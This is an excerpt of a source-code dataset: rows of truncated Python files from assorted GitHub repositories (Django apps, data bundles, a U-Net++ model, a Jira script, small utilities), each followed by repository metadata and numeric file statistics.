adds xShift and yShift, and prints the resulting coordinates f... | 27.952941 | 104 | 0.65404 | 285 | 2,376 | 5.389474 | 0.347368 | 0.054688 | 0.104167 | 0.110677 | 0.240234 | 0.240234 | 0.208333 | 0.208333 | 0.169271 | 0.126953 | 0 | 0.010544 | 0.241582 | 2,376 | 84 | 105 | 28.285714 | 0.841842 | 0.046717 | 0 | 0.390244 | 0 | 0 | 0.002356 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.02439 | null | null | 0.073171 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
84057c0338a6a758ffd9db0148fed390ca1423b4 | 2,500 | py | Python | logs.py | klokan/googlecrisismap | e31b68706f7a4921037b0e513703483f2ac3b830 | [
"Apache-2.0"
] | 40 | 2015-06-24T12:31:14.000Z | 2021-01-30T23:33:54.000Z | logs.py | klokan/googlecrisismap | e31b68706f7a4921037b0e513703483f2ac3b830 | [
"Apache-2.0"
] | 16 | 2015-07-30T14:24:42.000Z | 2021-02-24T22:30:56.000Z | logs.py | klokan/googlecrisismap | e31b68706f7a4921037b0e513703483f2ac3b830 | [
"Apache-2.0"
] | 27 | 2015-06-21T07:31:58.000Z | 2021-02-12T08:47:42.000Z | #!/usr/bin/python
# Copyright 2012 Google Inc. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may not
# use this file except in compliance with the License. You may obtain a copy
# of the License at: http://www.apache.org/licenses/LICENSE-2.0
# Unless required by applicab... | 34.722222 | 79 | 0.716 | 332 | 2,500 | 5.216867 | 0.436747 | 0.064665 | 0.030023 | 0.018476 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.003949 | 0.1896 | 2,500 | 71 | 80 | 35.211268 | 0.850938 | 0.2792 | 0 | 0 | 0 | 0 | 0.085886 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.106383 | null | null | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
84064d9465c82ae6538d73a44ba3b3b8618661f9 | 2,245 | py | Python | src/plasmid_verification/domain/model/sequence_alignment.py | Midnighter/plasmid_verification | 844b38047b1bf19fa9903299a1e6470583b9c3d5 | [
"Apache-2.0"
] | null | null | null | src/plasmid_verification/domain/model/sequence_alignment.py | Midnighter/plasmid_verification | 844b38047b1bf19fa9903299a1e6470583b9c3d5 | [
"Apache-2.0"
] | null | null | null | src/plasmid_verification/domain/model/sequence_alignment.py | Midnighter/plasmid_verification | 844b38047b1bf19fa9903299a1e6470583b9c3d5 | [
"Apache-2.0"
] | null | null | null | # Copyright (c) 2021, Moritz E. Beber.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to i... | 29.155844 | 87 | 0.679733 | 298 | 2,245 | 5.016779 | 0.463087 | 0.046823 | 0.03612 | 0.021405 | 0.038796 | 0 | 0 | 0 | 0 | 0 | 0 | 0.004564 | 0.219154 | 2,245 | 76 | 88 | 29.539474 | 0.84826 | 0.32294 | 0 | 0 | 0 | 0 | 0.108163 | 0.033333 | 0 | 0 | 0 | 0 | 0.025641 | 1 | 0.076923 | false | 0 | 0.128205 | 0 | 0.717949 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
840fda98adbdecf0791f7207664a7987eea0a0a6 | 1,069 | py | Python | user/examples/mpi/template_file.py | kyungyonglee/Grid-Appliance | 14a9e3d280cc818eaabd58f2753d8a7eae2e51c6 | [
"BSD-4-Clause-UC"
] | 1 | 2015-02-15T19:38:34.000Z | 2015-02-15T19:38:34.000Z | user/examples/mpi/template_file.py | kyungyonglee/Grid-Appliance | 14a9e3d280cc818eaabd58f2753d8a7eae2e51c6 | [
"BSD-4-Clause-UC"
] | null | null | null | user/examples/mpi/template_file.py | kyungyonglee/Grid-Appliance | 14a9e3d280cc818eaabd58f2753d8a7eae2e51c6 | [
"BSD-4-Clause-UC"
] | null | null | null | #!/usr/bin/python
import string, os
class TemplateFile:
def __init__(self, path, fname, outpath, outfname ):
self.fname = fname
self.outfname = outfname
self.path = path
self.outpath = outpath
# prepare the output file from keywords in 'kw_list'
def prepare_file(self, kw_... | 26.073171 | 73 | 0.571562 | 128 | 1,069 | 4.578125 | 0.414063 | 0.068259 | 0.095563 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.008451 | 0.335828 | 1,069 | 40 | 74 | 26.725 | 0.816901 | 0.062675 | 0 | 0 | 0 | 0 | 0.002 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.035714 | null | null | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
841a6fa01ace3ad8475e69a1d9389839fba90047 | 1,801 | py | Python | examples/migration.py | felliott/modular-odm | 8a34891892b8af69b21fdc46701c91763a5c1cf9 | [
"Apache-2.0"
] | 4 | 2018-09-21T18:57:03.000Z | 2020-10-19T05:38:14.000Z | examples/migration.py | cos-archives/modular-odm | 8a34891892b8af69b21fdc46701c91763a5c1cf9 | [
"Apache-2.0"
] | null | null | null | examples/migration.py | cos-archives/modular-odm | 8a34891892b8af69b21fdc46701c91763a5c1cf9 | [
"Apache-2.0"
] | null | null | null | import os
from modularodm import StoredObject, fields, storage
try:
os.remove('db_migrate_sandbox.pkl')
except OSError:
pass
my_storage = storage.PickleStorage('migrate_sandbox')
class Schema1(StoredObject):
_id = fields.StringField(primary=True)
number = fields.IntegerField()
deleted = fields.F... | 22.234568 | 60 | 0.654636 | 206 | 1,801 | 5.587379 | 0.315534 | 0.073849 | 0.045178 | 0.080799 | 0.491746 | 0.450043 | 0.413553 | 0.413553 | 0.413553 | 0.413553 | 0 | 0.018208 | 0.237646 | 1,801 | 80 | 61 | 22.5125 | 0.820102 | 0.077179 | 0 | 0.482759 | 0 | 0 | 0.076041 | 0.013277 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0.017241 | 0.034483 | null | null | 0.034483 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
841eb5b8cfb07c1d829624a3711343e0bf0e097b | 744 | py | Python | update_bibliography.py | wesselb/catalogue | 88790504dcee8505f60efe559fd75fa81a948b60 | [
"MIT"
] | null | null | null | update_bibliography.py | wesselb/catalogue | 88790504dcee8505f60efe559fd75fa81a948b60 | [
"MIT"
] | null | null | null | update_bibliography.py | wesselb/catalogue | 88790504dcee8505f60efe559fd75fa81a948b60 | [
"MIT"
] | 1 | 2018-10-25T17:41:01.000Z | 2018-10-25T17:41:01.000Z | # -*- coding: utf-8 -*-
from __future__ import absolute_import, division, print_function
import argparse
import json
import os
import catalogue.utils
from config import config
from catalogue.bibtex import decode
def main(args):
entries = []
for entry in catalogue.utils.list_files([".json"]):
with o... | 24 | 70 | 0.688172 | 101 | 744 | 4.851485 | 0.514851 | 0.073469 | 0.044898 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.001647 | 0.18414 | 744 | 30 | 71 | 24.8 | 0.805601 | 0.028226 | 0 | 0 | 0 | 0 | 0.099861 | 0.030513 | 0 | 0 | 0 | 0 | 0 | 1 | 0.05 | false | 0 | 0.35 | 0 | 0.4 | 0.05 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
842213e9632260467054be6ddc9cadfab7151c4e | 414 | py | Python | script/check_connection.py | Nanra/UNBK-Untuk-Tunanetra | d181c5814c286b99f009224434416fdab0fde322 | [
"MIT"
] | 2 | 2018-03-23T08:30:37.000Z | 2018-03-23T08:53:09.000Z | script/check_connection.py | Nanra/UNBK-Untuk-Tunanetra | d181c5814c286b99f009224434416fdab0fde322 | [
"MIT"
] | null | null | null | script/check_connection.py | Nanra/UNBK-Untuk-Tunanetra | d181c5814c286b99f009224434416fdab0fde322 | [
"MIT"
] | null | null | null | # Test Connection to server
from subprocess import check_output
import RPi.GPIO as GPIO
import time
GPIO.setwarnings(False)
GPIO.setmode(GPIO.BOARD)
GPIO.setup(16, GPIO.OUT)
wifi_ip = check_output(['hostname', '-I'])
if wifi_ip is not None:
print "Koneksi OK..."
print "IP Address = {}".format(wifi_ip)
GPI... | 23 | 43 | 0.714976 | 63 | 414 | 4.619048 | 0.603175 | 0.061856 | 0.082474 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.017341 | 0.164251 | 414 | 17 | 44 | 24.352941 | 0.823699 | 0.060386 | 0 | 0 | 0 | 0 | 0.173127 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.214286 | null | null | 0.214286 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
842719f11c23bced1b1a82b14951c1fa77ea0908 | 2,324 | py | Python | ool/prime/forms.py | HeLsEroC/bbr | 0dd40bffd05faa777bec3a89dd1712f0f546d60e | [
"MIT"
] | null | null | null | ool/prime/forms.py | HeLsEroC/bbr | 0dd40bffd05faa777bec3a89dd1712f0f546d60e | [
"MIT"
] | null | null | null | ool/prime/forms.py | HeLsEroC/bbr | 0dd40bffd05faa777bec3a89dd1712f0f546d60e | [
"MIT"
] | null | null | null | from django import forms
from django.contrib.auth import get_user_model
from django.core.cache import cache
from django.utils.translation import gettext_lazy as _
from ool.oppositions.models import Document, Domain, Opposition
from ool.oppositions.tasks import send_email_task # generate_opposition_receipt_task
User ... | 31.835616 | 86 | 0.646299 | 243 | 2,324 | 6.028807 | 0.510288 | 0.027304 | 0.016382 | 0.03959 | 0.046416 | 0.046416 | 0 | 0 | 0 | 0 | 0 | 0.002308 | 0.254303 | 2,324 | 72 | 87 | 32.277778 | 0.843047 | 0.056368 | 0 | 0 | 0 | 0 | 0.152194 | 0 | 0 | 0 | 0 | 0.013889 | 0 | 1 | 0.037037 | false | 0 | 0.111111 | 0 | 0.259259 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
84335f38b443d6737a0aa7753ba9fb9031756e78 | 556 | py | Python | journeylog/filters.py | soulweaver91/journeylog-be | ce3fd676d393605254fec3fd9727770d93b3609f | [
"MIT"
] | null | null | null | journeylog/filters.py | soulweaver91/journeylog-be | ce3fd676d393605254fec3fd9727770d93b3609f | [
"MIT"
] | 6 | 2019-04-28T23:32:30.000Z | 2021-09-18T23:21:51.000Z | journeylog/filters.py | soulweaver91/journeylog-be | ce3fd676d393605254fec3fd9727770d93b3609f | [
"MIT"
] | 1 | 2020-12-29T15:17:55.000Z | 2020-12-29T15:17:55.000Z | from django_filters.rest_framework import FilterSet, IsoDateTimeFilter, Filter
from .models import Photo, Location
class PhotoFilter(FilterSet):
after = IsoDateTimeFilter(field_name='timestamp', lookup_expr='gte')
before = IsoDateTimeFilter(field_name='timestamp', lookup_expr='lt')
journey = Filter(field... | 25.272727 | 78 | 0.710432 | 59 | 556 | 6.457627 | 0.508475 | 0.094488 | 0.136483 | 0.183727 | 0.367454 | 0.23622 | 0 | 0 | 0 | 0 | 0 | 0 | 0.194245 | 556 | 21 | 79 | 26.47619 | 0.850446 | 0 | 0 | 0.285714 | 0 | 0 | 0.102518 | 0.03777 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.142857 | 0 | 0.714286 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
8442560c7a88c45d382a3a96bac67b0654db0e4c | 574 | py | Python | balanced-binary-tree/balanced-binary-tree.py | rams1996/Trees | b7d6a92ed76a9e4d01bfe7f85debb7ca2b350ac9 | [
"MIT"
] | null | null | null | balanced-binary-tree/balanced-binary-tree.py | rams1996/Trees | b7d6a92ed76a9e4d01bfe7f85debb7ca2b350ac9 | [
"MIT"
] | null | null | null | balanced-binary-tree/balanced-binary-tree.py | rams1996/Trees | b7d6a92ed76a9e4d01bfe7f85debb7ca2b350ac9 | [
"MIT"
] | null | null | null | # Definition for a binary tree node.
# class TreeNode:
# def __init__(self, x):
# self.val = x
# self.left = None
# self.right = None
class Solution:
def isBalanced(self, root: TreeNode) -> bool:
def dfs(root):
if not root:
return 0
... | 23.916667 | 49 | 0.447735 | 72 | 574 | 3.513889 | 0.472222 | 0.110672 | 0.023715 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.021944 | 0.444251 | 574 | 23 | 50 | 24.956522 | 0.77116 | 0.259582 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
84457a54ba3fdb765f6233d31adf6eb9bb85c654 | 437 | py | Python | examples/parrot/admin.py | bartels/satchless | 4d333014333dc4fd5815f9e0bbea565959919a30 | [
"BSD-4-Clause"
] | 1 | 2015-11-05T05:09:27.000Z | 2015-11-05T05:09:27.000Z | examples/parrot/admin.py | bartels/satchless | 4d333014333dc4fd5815f9e0bbea565959919a30 | [
"BSD-4-Clause"
] | null | null | null | examples/parrot/admin.py | bartels/satchless | 4d333014333dc4fd5815f9e0bbea565959919a30 | [
"BSD-4-Clause"
] | null | null | null | from django.contrib import admin
from satchless.product.admin import ProductAdmin, TranslationInline
from . import models
class ParrotVariantInline(admin.TabularInline):
model = models.ParrotVariant
class ParrotTranslationInline(TranslationInline):
model = models.ParrotTranslation
class ParrotAdmin(ProductA... | 27.3125 | 67 | 0.823799 | 40 | 437 | 9 | 0.55 | 0.133333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.10984 | 437 | 15 | 68 | 29.133333 | 0.92545 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.3 | 0 | 0.9 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
844c4dd1b7f5eb527eb03209b7a24c5e300d8a3d | 2,972 | py | Python | cmsplugins/pictures/conf.py | e621-Inc/django-cmsplugins | f9e81ac4f58d8e1b751a9f5209306f675185c112 | [
"MIT"
] | null | null | null | cmsplugins/pictures/conf.py | e621-Inc/django-cmsplugins | f9e81ac4f58d8e1b751a9f5209306f675185c112 | [
"MIT"
] | 4 | 2016-10-18T12:05:12.000Z | 2016-12-06T07:56:44.000Z | cmsplugins/pictures/conf.py | e621-Inc/django-cmsplugins | f9e81ac4f58d8e1b751a9f5209306f675185c112 | [
"MIT"
] | 2 | 2017-01-24T10:24:21.000Z | 2017-01-24T10:25:08.000Z |
from django.conf import settings
from django.utils.translation import ugettext_lazy as _
from cmsplugins.baseplugin import defaults
GALLERY_CSS_CLASSES = getattr(
settings,
'PICTURES_GALLERY_CSS_CLASSES',
defaults.CSS_CLASSES
)
GALLERY_HEIGHTS = getattr(
settings,
'PICTURES_GALLERY_HEIGHTS',
... | 21.693431 | 58 | 0.521871 | 211 | 2,972 | 7.037915 | 0.222749 | 0.141414 | 0.216835 | 0.121212 | 0.350842 | 0.227609 | 0.198653 | 0.198653 | 0.158923 | 0.158923 | 0 | 0 | 0.352961 | 2,972 | 136 | 59 | 21.852941 | 0.772231 | 0.067631 | 0 | 0.5 | 0 | 0 | 0.2627 | 0.137518 | 0 | 0 | 0 | 0.007353 | 0 | 1 | 0 | false | 0 | 0.025862 | 0 | 0.025862 | 0 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
844f029774c714983651e7c7cb69200f58c6f7d3 | 2,132 | py | Python | web/core/models.py | FrankyTerra/broadcast | 5335e42a5c74c348fdae6cc6b0ebd32be1bfb43f | [
"MIT"
] | null | null | null | web/core/models.py | FrankyTerra/broadcast | 5335e42a5c74c348fdae6cc6b0ebd32be1bfb43f | [
"MIT"
] | 6 | 2021-03-19T09:32:54.000Z | 2021-09-22T19:24:24.000Z | web/core/models.py | FrankyTerra/broadcast | 5335e42a5c74c348fdae6cc6b0ebd32be1bfb43f | [
"MIT"
] | null | null | null | from django.db import models
from user.models import User
class AbstractNameDescriptionModel(models.Model):
"""
Абстрактная модель Наименования и Описания сущности
"""
name = models.CharField('Наименование', max_length=1000)
description = models.TextField('Описание')
class Meta:
abs... | 22.442105 | 122 | 0.681989 | 217 | 2,132 | 6.502304 | 0.364055 | 0.093551 | 0.045358 | 0.056697 | 0.313253 | 0.257973 | 0.257973 | 0.185684 | 0.185684 | 0.092133 | 0 | 0.005995 | 0.217636 | 2,132 | 94 | 123 | 22.680851 | 0.839928 | 0.059568 | 0 | 0.348837 | 0 | 0 | 0.138889 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.069767 | false | 0 | 0.046512 | 0.069767 | 0.72093 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
8455eca07d8001ade247c917efa148406143f61a | 754 | py | Python | FDL.py | water-law/FDL | fd4222024eba1a6f283c09c6e427e0058cb4e0fa | [
"MIT"
] | 1 | 2019-11-17T12:20:37.000Z | 2019-11-17T12:20:37.000Z | FDL.py | water-law/FDL | fd4222024eba1a6f283c09c6e427e0058cb4e0fa | [
"MIT"
] | null | null | null | FDL.py | water-law/FDL | fd4222024eba1a6f283c09c6e427e0058cb4e0fa | [
"MIT"
] | null | null | null | # -*- coding:utf-8 -*-
import sys
import logging.config
import yaml
from PyQt5.QtCore import QTranslator, QFileInfo
from PyQt5.QtWidgets import QApplication
from PyQt5.QtGui import QIcon
from utils.Constants import getConfValue, setConfValue
from form.frmFDLApp import FDLApp
# create logger
log_conf = 'log_conf.yml'
wi... | 22.848485 | 54 | 0.725464 | 95 | 754 | 5.589474 | 0.578947 | 0.050847 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.006289 | 0.156499 | 754 | 32 | 55 | 23.5625 | 0.828616 | 0.045093 | 0 | 0 | 0 | 0 | 0.04742 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.363636 | 0 | 0.363636 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
845758d7b1be992b3fa73ff2b5343661ed5859e6 | 2,773 | py | Python | src/software/JIRA/getJiraFieldDescriptions.py | intel/RAAD | 9cca9e72ff61658191e30756bb260173d5600102 | [
"Intel",
"Apache-2.0"
] | null | null | null | src/software/JIRA/getJiraFieldDescriptions.py | intel/RAAD | 9cca9e72ff61658191e30756bb260173d5600102 | [
"Intel",
"Apache-2.0"
] | null | null | null | src/software/JIRA/getJiraFieldDescriptions.py | intel/RAAD | 9cca9e72ff61658191e30756bb260173d5600102 | [
"Intel",
"Apache-2.0"
] | null | null | null | #!/usr/bin/python3
# -*- coding: utf-8 -*-
# *****************************************************************************/
# * Authors: Rogelio Macedo, Joseph Tarango
# *****************************************************************************/
import json, os, datetime
import traceback
from getpass import... | 35.101266 | 113 | 0.61053 | 312 | 2,773 | 5.346154 | 0.576923 | 0.038969 | 0.01199 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.01915 | 0.227912 | 2,773 | 78 | 114 | 35.551282 | 0.759925 | 0.256401 | 0 | 0 | 0 | 0.02 | 0.162632 | 0.026842 | 0 | 0 | 0 | 0 | 0 | 1 | 0.06 | false | 0.14 | 0.1 | 0 | 0.2 | 0.06 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
ffbdb275581de69e2af8c648da6e5b73dae196f6 | 9,828 | py | Python | bundles/cdph.ca.gov/hci/bundle.py | CivicKnowledge/health-reporter | ff352ef5b15a17bb849ace0af3f29dfc8f7f34f0 | [
"BSD-2-Clause"
] | null | null | null | bundles/cdph.ca.gov/hci/bundle.py | CivicKnowledge/health-reporter | ff352ef5b15a17bb849ace0af3f29dfc8f7f34f0 | [
"BSD-2-Clause"
] | null | null | null | bundles/cdph.ca.gov/hci/bundle.py | CivicKnowledge/health-reporter | ff352ef5b15a17bb849ace0af3f29dfc8f7f34f0 | [
"BSD-2-Clause"
] | null | null | null | # -*- coding: utf-8 -*-
import ambry.bundle
class Bundle(ambry.bundle.Bundle):
grain_map = {
'pl':'place',
'co':'county',
'ca':'california',
'cd':'subcounty',
'ct':'tract',
'zc': 'zcta',
'na': None,
're': 'region',
'r4':'cmsa',
... | 29.337313 | 103 | 0.469984 | 1,056 | 9,828 | 4.261364 | 0.260417 | 0.018667 | 0.028 | 0.044 | 0.335333 | 0.305556 | 0.294889 | 0.265556 | 0.216222 | 0.206444 | 0 | 0.008121 | 0.436203 | 9,828 | 335 | 104 | 29.337313 | 0.804007 | 0.063797 | 0 | 0.396907 | 0 | 0 | 0.06537 | 0.01687 | 0 | 0 | 0 | 0 | 0.005155 | 0 | null | null | 0.010309 | 0.051546 | null | null | 0.046392 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
ffc3ff4ee8d26ba059558001a80044c5238ca7d5 | 1,242 | py | Python | exercises/knowledge_model.py | naama19-meet/y2s18-databases | 8f0f960e5fed126643c86cfee42d677b890b65be | [
"MIT"
] | null | null | null | exercises/knowledge_model.py | naama19-meet/y2s18-databases | 8f0f960e5fed126643c86cfee42d677b890b65be | [
"MIT"
] | null | null | null | exercises/knowledge_model.py | naama19-meet/y2s18-databases | 8f0f960e5fed126643c86cfee42d677b890b65be | [
"MIT"
] | null | null | null | from sqlalchemy import Column, Integer, String, Boolean
from sqlalchemy.ext.declarative import declarative_base
from sqlalchemy.orm import relationship, sessionmaker
from sqlalchemy import create_engine
Base = declarative_base()
class knowledge(Base):
# Create a table with 4 columns
# The first column will be... | 35.485714 | 87 | 0.693237 | 161 | 1,242 | 5.254658 | 0.42236 | 0.066194 | 0.042553 | 0.049645 | 0.056738 | 0 | 0 | 0 | 0 | 0 | 0 | 0.001054 | 0.23591 | 1,242 | 34 | 88 | 36.529412 | 0.890411 | 0.294686 | 0 | 0 | 0 | 0 | 0.251448 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.058824 | false | 0 | 0.235294 | 0.058824 | 0.705882 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
ffcf9ea1056ee42d99264e818a4b9ac0f80e495e | 3,522 | py | Python | unet_varieties/model/unet_nested.py | AzmHmd/RMS | 61d108e118d1e06de324644ebd8d92fc1b091b91 | [
"MIT"
] | null | null | null | unet_varieties/model/unet_nested.py | AzmHmd/RMS | 61d108e118d1e06de324644ebd8d92fc1b091b91 | [
"MIT"
] | null | null | null | unet_varieties/model/unet_nested.py | AzmHmd/RMS | 61d108e118d1e06de324644ebd8d92fc1b091b91 | [
"MIT"
] | null | null | null | from .unet_parts import *
import pdb
class NestedUNet(nn.Module):
def __init__(self, opt):
super().__init__()
nb_filter = [32, 64, 128, 256, 512]
self.deep_supervision = opt.deep_supervision
self.pool = nn.MaxPool2d(2, 2)
self.up = nn.Upsample(scale_factor=2, mode='bilin... | 47.594595 | 98 | 0.634583 | 631 | 3,522 | 3.240887 | 0.118859 | 0.234719 | 0.08802 | 0.05379 | 0.507579 | 0.432274 | 0.410758 | 0.401467 | 0.359413 | 0.230807 | 0 | 0.109481 | 0.206417 | 3,522 | 73 | 99 | 48.246575 | 0.622182 | 0 | 0 | 0.071429 | 0 | 0 | 0.002271 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.035714 | false | 0 | 0.035714 | 0 | 0.125 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
ffd353ae82b3f1f86d6387a0798e3856c30377ab | 448 | py | Python | wipeit/commands/logout.py | amickael/wipeit | c1e09ee7781b8c764fc482caccf5590ee6090998 | [
"MIT"
] | null | null | null | wipeit/commands/logout.py | amickael/wipeit | c1e09ee7781b8c764fc482caccf5590ee6090998 | [
"MIT"
] | null | null | null | wipeit/commands/logout.py | amickael/wipeit | c1e09ee7781b8c764fc482caccf5590ee6090998 | [
"MIT"
] | null | null | null | import os
import click
from wipeit import CONFIG
from wipeit.app import AppClient
@click.command()
def logout(*args, **kwargs):
"""Remove Reddit credentials from wipeit, you will be prompted to login the next time the program is run."""
file_loc = AppClient(CONFIG.scopes, skip_login=True).refresh_token_file... | 26.352941 | 112 | 0.725446 | 65 | 448 | 4.907692 | 0.661538 | 0.094044 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.171875 | 448 | 16 | 113 | 28 | 0.859838 | 0.227679 | 0 | 0 | 0 | 0 | 0.070588 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.090909 | false | 0 | 0.363636 | 0 | 0.454545 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
ffd5cf82f9d6293bf7a381f0f11cd4a5810ca13f | 8,806 | py | Python | Zeras/data_paral_batcher.py | Li-Ming-Fan/Zeras | c10321f2e7019470d0887c817a1d00f5f45601a4 | [
"MIT"
